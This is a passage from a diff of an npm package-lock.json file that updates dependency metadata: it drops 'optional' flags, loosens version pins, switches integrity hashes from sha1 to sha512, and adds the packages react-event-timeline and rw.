               "version": "1.1.11",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "balanced-match": "^1.0.0",
                 "concat-map": "0.0.1"
@@ -8503,20 +8723,17 @@
             "code-point-at": {
               "version": "1.1.0",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "concat-map": {
               "version": "0.0.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "console-control-strings": {
               "version": "1.1.0",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "core-util-is": {
               "version": "1.0.2",
@@ -8617,7 +8834,7 @@
               "dev": true,
               "optional": true,
               "requires": {
-                "minimatch": "3.0.4"
+                "minimatch": "^3.0.4"
               }
             },
             "inflight": {
@@ -8633,8 +8850,7 @@
             "inherits": {
               "version": "2.0.3",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "ini": {
               "version": "1.3.5",
@@ -8646,9 +8862,8 @@
               "version": "1.0.0",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
-                "number-is-nan": "1.0.1"
+                "number-is-nan": "^1.0.0"
               }
             },
             "isarray": {
@@ -8661,7 +8876,6 @@
               "version": "3.0.4",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "brace-expansion": "^1.1.7"
               }
@@ -8669,14 +8883,12 @@
             "minimist": {
               "version": "0.0.8",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "minipass": {
               "version": "2.2.4",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "safe-buffer": "^5.1.1",
                 "yallist": "^3.0.0"
@@ -8695,7 +8907,6 @@
               "version": "0.5.1",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "minimist": "0.0.8"
               }
@@ -8757,8 +8968,8 @@
               "dev": true,
               "optional": true,
               "requires": {
-                "ignore-walk": "3.0.1",
-                "npm-bundled": "1.0.3"
+                "ignore-walk": "^3.0.1",
+                "npm-bundled": "^1.0.1"
               }
             },
             "npmlog": {
@@ -8776,8 +8987,7 @@
             "number-is-nan": {
               "version": "1.0.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "object-assign": {
               "version": "4.1.1",
@@ -8789,7 +8999,6 @@
               "version": "1.4.0",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "wrappy": "1"
               }
@@ -8875,8 +9084,7 @@
             "safe-buffer": {
               "version": "5.1.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "safer-buffer": {
               "version": "2.1.2",
@@ -8912,7 +9120,6 @@
               "version": "1.0.2",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "code-point-at": "^1.0.0",
                 "is-fullwidth-code-point": "^1.0.0",
@@ -8932,7 +9139,6 @@
               "version": "3.0.1",
               "bundled": true,
               "dev": true,
-              "optional": true,
               "requires": {
                 "ansi-regex": "^2.0.0"
               }
@@ -8976,14 +9182,12 @@
             "wrappy": {
               "version": "1.0.2",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "yallist": {
               "version": "3.0.2",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             }
           }
         },
@@ -9554,8 +9758,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
       "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
-      "dev": true,
-      "optional": true
+      "dev": true
     },
     "loose-envify": {
       "version": "1.3.1",
@@ -10100,7 +10303,7 @@
     "node-fetch": {
       "version": "1.7.3",
       "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz",
-      "integrity": "sha1-mA9vcthSEaU0fGsrwYxbhMPrR+8=",
+      "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==",
       "requires": {
         "encoding": "^0.1.11",
         "is-stream": "^1.0.1"
@@ -10115,7 +10318,7 @@
     "node-gyp": {
       "version": "3.8.0",
       "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz",
-      "integrity": "sha1-VAMEJhwzDoDQ1e3OJTpoyzlkIYw=",
+      "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==",
       "requires": {
         "fstream": "^1.0.0",
         "glob": "^7.0.3",
@@ -10134,7 +10337,7 @@
         "ajv": {
           "version": "6.10.0",
           "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
-          "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=",
+          "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
           "requires": {
             "fast-deep-equal": "^2.0.1",
             "fast-json-stable-stringify": "^2.0.0",
@@ -10145,12 +10348,12 @@
         "aws4": {
           "version": "1.8.0",
           "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
-          "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8="
+          "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
         },
         "extend": {
           "version": "3.0.2",
           "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
-          "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo="
+          "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
         },
         "fast-deep-equal": {
           "version": "2.0.1",
@@ -10160,7 +10363,7 @@
         "har-validator": {
           "version": "5.1.3",
           "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
-          "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=",
+          "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
           "requires": {
             "ajv": "^6.5.5",
             "har-schema": "^2.0.0"
@@ -10169,17 +10372,17 @@
         "json-schema-traverse": {
           "version": "0.4.1",
           "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-          "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA="
+          "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
         },
         "mime-db": {
           "version": "1.40.0",
           "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
-          "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI="
+          "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
         },
         "mime-types": {
           "version": "2.1.24",
           "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
-          "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=",
+          "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
           "requires": {
             "mime-db": "1.40.0"
           }
@@ -10187,17 +10390,17 @@
         "oauth-sign": {
           "version": "0.9.0",
           "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
-          "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU="
+          "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
         },
         "psl": {
           "version": "1.1.32",
           "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
-          "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs="
+          "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
         },
         "request": {
           "version": "2.88.0",
           "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
-          "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=",
+          "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
           "requires": {
             "aws-sign2": "~0.7.0",
             "aws4": "^1.8.0",
@@ -10224,7 +10427,7 @@
         "safe-buffer": {
           "version": "5.1.2",
           "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-          "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
+          "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
         },
         "semver": {
           "version": "5.3.0",
@@ -10234,7 +10437,7 @@
         "tough-cookie": {
           "version": "2.4.3",
           "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
-          "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=",
+          "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
           "requires": {
             "psl": "^1.1.24",
             "punycode": "^1.4.1"
@@ -10243,7 +10446,7 @@
         "uuid": {
           "version": "3.3.2",
           "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
-          "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE="
+          "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
         }
       }
     },
@@ -10325,7 +10528,7 @@
     "node-sass": {
       "version": "4.12.0",
       "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz",
-      "integrity": "sha1-CRT1MZMjgBFKMMxfpPpjIzol8Bc=",
+      "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==",
       "requires": {
         "async-foreach": "^0.1.3",
         "chalk": "^1.1.1",
@@ -10349,7 +10552,7 @@
         "ajv": {
           "version": "6.10.0",
           "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
-          "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=",
+          "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
           "requires": {
             "fast-deep-equal": "^2.0.1",
             "fast-json-stable-stringify": "^2.0.0",
@@ -10360,7 +10563,7 @@
         "aws4": {
           "version": "1.8.0",
           "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz",
-          "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8="
+          "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ=="
         },
         "cross-spawn": {
           "version": "3.0.1",
@@ -10374,7 +10577,7 @@
         "extend": {
           "version": "3.0.2",
           "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
-          "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo="
+          "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
         },
         "fast-deep-equal": {
           "version": "2.0.1",
@@ -10384,7 +10587,7 @@
         "har-validator": {
           "version": "5.1.3",
           "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
-          "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=",
+          "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
           "requires": {
             "ajv": "^6.5.5",
             "har-schema": "^2.0.0"
@@ -10393,22 +10596,22 @@
         "json-schema-traverse": {
           "version": "0.4.1",
           "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-          "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA="
+          "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
         },
         "lodash": {
           "version": "4.17.11",
           "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
-          "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40="
+          "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
         },
         "mime-db": {
           "version": "1.40.0",
           "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
-          "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI="
+          "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
         },
         "mime-types": {
           "version": "2.1.24",
           "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
-          "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=",
+          "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
           "requires": {
             "mime-db": "1.40.0"
           }
@@ -10421,17 +10624,17 @@
         "oauth-sign": {
           "version": "0.9.0",
           "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
-          "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU="
+          "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
         },
         "psl": {
           "version": "1.1.32",
           "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
-          "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs="
+          "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
         },
         "request": {
           "version": "2.88.0",
           "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
-          "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=",
+          "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
           "requires": {
             "aws-sign2": "~0.7.0",
             "aws4": "^1.8.0",
@@ -10458,12 +10661,12 @@
         "safe-buffer": {
           "version": "5.1.2",
           "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-          "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
+          "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
         },
         "tough-cookie": {
           "version": "2.4.3",
           "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
-          "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=",
+          "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
           "requires": {
             "psl": "^1.1.24",
             "punycode": "^1.4.1"
@@ -10472,7 +10675,7 @@
         "uuid": {
           "version": "3.3.2",
           "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
-          "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE="
+          "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
         }
       }
     },
@@ -13227,7 +13430,7 @@
     "npmlog": {
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz",
-      "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=",
+      "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==",
       "requires": {
         "are-we-there-yet": "~1.1.2",
         "console-control-strings": "~1.1.0",
@@ -13497,7 +13700,7 @@
     "osenv": {
       "version": "0.1.5",
       "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz",
-      "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=",
+      "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==",
       "requires": {
         "os-homedir": "^1.0.0",
         "os-tmpdir": "^1.0.0"
@@ -13730,7 +13933,7 @@
     "path-parse": {
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
-      "integrity": "sha1-1i27VnlAXXLEc37FhgDp3c8G0kw="
+      "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
     },
     "path-to-regexp": {
       "version": "0.1.7",
@@ -14005,7 +14208,7 @@
     "promise": {
       "version": "7.3.1",
       "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz",
-      "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=",
+      "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==",
       "requires": {
         "asap": "~2.0.3"
       }
@@ -14360,6 +14563,15 @@
         "scheduler": "^0.11.2"
       }
     },
+    "react-event-timeline": {
+      "version": "1.6.3",
+      "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz",
+      "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==",
+      "dev": true,
+      "requires": {
+        "prop-types": "^15.6.0"
+      }
+    },
     "react-fa": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz",
@@ -14600,7 +14812,7 @@
     "react-spinners": {
       "version": "0.5.4",
       "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz",
-      "integrity": "sha1-WBZvi/hMvwbdesytS5SleXz+qbk=",
+      "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==",
       "requires": {
         "@emotion/core": "^10.0.4",
         "prop-types": "^15.5.10",
@@ -14648,7 +14860,7 @@
           "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
           "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
           "requires": {
-            "js-tokens": "3.0.2"
+            "js-tokens": "^3.0.0 || ^4.0.0"
           }
         }
       }
@@ -14751,7 +14963,7 @@
     "recompose": {
       "version": "0.30.0",
       "resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz",
-      "integrity": "sha1-gnc2QbOSfox9JKDYfWWu66GKq9A=",
+      "integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==",
       "requires": {
         "@babel/runtime": "^7.0.0",
         "change-emitter": "^0.1.2",
@@ -15047,7 +15259,7 @@
     "resolve-pathname": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz",
-      "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk="
+      "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg=="
     },
     "resolve-url": {
       "version": "0.2.1",
@@ -15123,6 +15335,11 @@
         "aproba": "^1.1.1"
       }
     },
+    "rw": {
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz",
+      "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q="
+    },
     "rxjs": {
       "version": "6.3.3",
       "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz",
@@ -15242,7 +15459,7 @@
     "sass-loader": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz",
-      "integrity": "sha1-Fv1ROMuLQkv4p1lSihly1yqtBp0=",
+      "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==",
       "requires": {
         "clone-deep": "^2.0.1",
         "loader-utils": "^1.0.1",
@@ -15255,12 +15472,12 @@
         "big.js": {
           "version": "5.2.2",
           "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
-          "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg="
+          "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
         },
         "json5": {
           "version": "1.0.1",
           "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
+          "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
           "requires": {
             "minimist": "^1.2.0"
           }
@@ -15268,7 +15485,7 @@
         "loader-utils": {
           "version": "1.2.3",
           "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
-          "integrity": "sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=",
+          "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
           "requires": {
             "big.js": "^5.2.2",
             "emojis-list": "^2.0.0",
@@ -15283,7 +15500,7 @@
         "semver": {
           "version": "5.7.0",
           "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz",
-          "integrity": "sha1-eQp89v6lRZuslhELKbYEEtyP+Ws="
+          "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA=="
         }
       }
     },
@@ -15525,7 +15742,7 @@
     "shallow-clone": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz",
-      "integrity": "sha1-RIDNBuiC72iyrYij6lSDLixItXE=",
+      "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==",
       "requires": {
         "is-extendable": "^0.1.1",
         "kind-of": "^5.0.0",
@@ -15535,7 +15752,7 @@
         "kind-of": {
           "version": "5.1.0",
           "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-          "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0="
+          "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
         }
       }
     },
@@ -16027,7 +16244,7 @@
     "stdout-stream": {
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz",
-      "integrity": "sha1-WsF0zdXNcmEEqgwLK9g4FdjVNd4=",
+      "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==",
       "requires": {
         "readable-stream": "^2.0.1"
       },
@@ -16040,12 +16257,12 @@
         "process-nextick-args": {
           "version": "2.0.0",
           "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
-          "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o="
+          "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
         },
         "readable-stream": {
           "version": "2.3.6",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
-          "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=",
+          "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
           "requires": {
             "core-util-is": "~1.0.0",
             "inherits": "~2.0.3",
@@ -16059,7 +16276,7 @@
         "string_decoder": {
           "version": "1.1.1",
           "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
+          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
           "requires": {
             "safe-buffer": "~5.1.0"
           }
@@ -16397,7 +16614,7 @@
     "tar": {
       "version": "2.2.2",
       "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz",
-      "integrity": "sha1-DKiEhWLHKZuLRG/2pNYM27I+3EA=",
+      "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==",
       "requires": {
         "block-stream": "*",
         "fstream": "^1.0.12",
@@ -16588,7 +16805,7 @@
     "true-case-path": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz",
-      "integrity": "sha1-+BO1qMhrQNpZYGcisUTjIleZ9H0=",
+      "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==",
       "requires": {
         "glob": "^7.1.2"
       }
@@ -17069,7 +17286,7 @@
     "value-equal": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz",
-      "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c="
+      "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw=="
     },
     "vary": {
       "version": "1.1.2",
@@ -19045,8 +19262,7 @@
             "ansi-regex": {
               "version": "2.1.1",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "aproba": {
               "version": "1.2.0",
@@ -19089,8 +19305,7 @@
             "code-point-at": {
               "version": "1.1.0",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "concat-map": {
               "version": "0.0.1",
@@ -19101,8 +19316,7 @@
             "console-control-strings": {
               "version": "1.1.0",
               "bundled": true,
-              "dev": true,
-              "optional": true
+              "dev": true
             },
             "core-util-is": {
               "version": "1.0.2",
@@ -19219,8 +19433,7 @@
